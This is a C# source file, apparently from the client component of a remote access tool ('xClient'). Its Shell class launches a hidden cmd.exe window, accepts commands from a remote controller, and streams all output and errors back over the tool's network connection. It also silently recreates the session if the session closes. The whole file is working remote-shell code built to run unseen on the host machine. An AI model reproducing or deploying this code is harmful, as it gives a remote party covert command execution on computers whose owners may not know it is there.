using System; using System.Diagnostics; using System.IO; using System.Text; using System.Threading; namespace xClient.Core.Utilities { /// /// This class manages a remote shell session. /// public class Shell : IDisposable { /// /// The Process of the command-line. /// private Process _prc; /// /// Decides if we should still read from the output. /// /// Detects unexpected closing of the shell. /// /// private bool _read; /// /// The lock object for the read variable. /// private readonly object _readLock = new object(); /// /// The lock object for the StreamReader. /// private readonly object _readStreamLock = new object(); /// /// Creates a new session of the Shell /// private void CreateSession() { lock (_readLock) { _read = true; } _prc = new Process { StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, CreateNoWindow = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), Arguments = "/K" } }; _prc.Start(); // Fire up the logic to redirect the outputs and handle them. RedirectOutputs(); new Packets.ClientPackets.DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute( Program.ConnectClient); } /// /// Starts the redirection of input and output /// private void RedirectOutputs() { ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); }); ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); }); } /// /// Reads the output from the stream. /// /// The first read char. /// The StreamReader to read from. /// True if reading from the error-stream, else False. private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) { lock (_readStreamLock) { StringBuilder streambuffer = new StringBuilder(); streambuffer.Append((char)firstCharRead); // While there are more characters to be read while (streamReader.Peek() > -1) { // Read the character in the queue var ch = streamReader.Read(); // Accumulate the characters read in the stream buffer streambuffer.Append((char)ch); if (ch == '\n') SendAndFlushBuffer(ref streambuffer, isError); } // Flush any remaining text in the buffer SendAndFlushBuffer(ref streambuffer, isError); } } /// /// Sends the read output to the Client. /// /// Contains the contents of the output. /// True if reading from the error-stream, else False. private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError) { if (textbuffer.Length == 0) return; var toSend = textbuffer.ToString(); if (string.IsNullOrEmpty(toSend)) return; if (isError) { new Packets.ClientPackets.DoShellExecuteResponse(toSend, true).Execute( Program.ConnectClient); } else { new Packets.ClientPackets.DoShellExecuteResponse(toSend).Execute( Program.ConnectClient); } textbuffer.Length = 0; } /// /// Reads from the standard output-stream. /// private void RedirectStandardOutput() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) { ReadStream(ch, _prc.StandardOutput, false); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}", Environment.NewLine), true).Execute(Program.ConnectClient); CreateSession(); } } } /// /// Reads from the standard error-stream. /// private void RedirectStandardError() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) { ReadStream(ch, _prc.StandardError, true); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}", Environment.NewLine), true).Execute(Program.ConnectClient); CreateSession(); } } } /// /// Executes a shell command. /// /// The command to execute. /// False if execution failed, else True. public bool ExecuteCommand(string command) { if (_prc == null || _prc.HasExited) CreateSession(); if (_prc == null) return false; _prc.StandardInput.WriteLine(command); _prc.StandardInput.Flush(); return true; } /// /// Constructor, creates a new session. /// public Shell() { CreateSession(); } /// /// Releases all resources used by this class. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_readLock) { _read = false; } if (_prc == null) return; if (!_prc.HasExited) { try { _prc.Kill(); } catch { } } _prc.Dispose(); _prc = null; } } } }